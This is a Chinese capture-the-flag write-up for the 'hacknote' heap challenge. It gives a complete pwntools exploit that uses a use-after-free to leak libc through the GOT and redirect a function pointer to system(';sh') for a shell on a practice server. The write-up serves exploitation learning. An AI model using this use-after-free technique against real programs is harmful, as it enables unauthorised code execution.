先看保护
32位,没开pie,got表可修改
看ida
总的来说就是alloc创建堆块,free释放堆块,show打印堆块内容
但alloc处的函数比较特别,他会先申请一个0x8大小的堆来存放与puts相关的指针
完整exp:
from pwn import*
from LibcSearcher import*
p=process('./hacknote')
p=remote('node5.buuoj.cn',28080)
puts=0x0804862b
free_got=0x804A018
def alloc(size,context):
p.sendlineafter(b'Your choice :',str(1))
p.sendlineafter(b'Note size :',str(size))
p.sendafter(b'Content ',context)
def free(index):
p.sendlineafter(b'Your choice :',str(2))
p.sendlineafter(b'Index :',str(index))
def show(index):
p.sendlineafter(b'Your choice :',str(3))
p.sendlineafter(b'Index :',str(index))
alloc(0x10,p32(0))
alloc(0x10,p32(0))
free(0)
free(1)
alloc(0x8,p32(puts)+p32(free_got))
show(0)
free_addr=u32(p.recvuntil(b'\xf7')[-4:])
print(free_addr)
libc=LibcSearcher('free',free_addr)
libcbase=free_addr-libc.dump('free')
system=libcbase+libc.dump('system')
free(2)
alloc(0x8,p32(system)+b';sh\x00')
show(0)
p.interactive()
补充点1:free(2)处,虽然堆块没有将相应的指针置0,但是当我们申请0x8大小的堆块时这一组堆块会被设置为堆块2,所以这里用free(2)
补充点2:system的参数要用;sh\x00,我尝试使用bash没有成功,可能是因为运行过程中无关数据会扰乱参数传递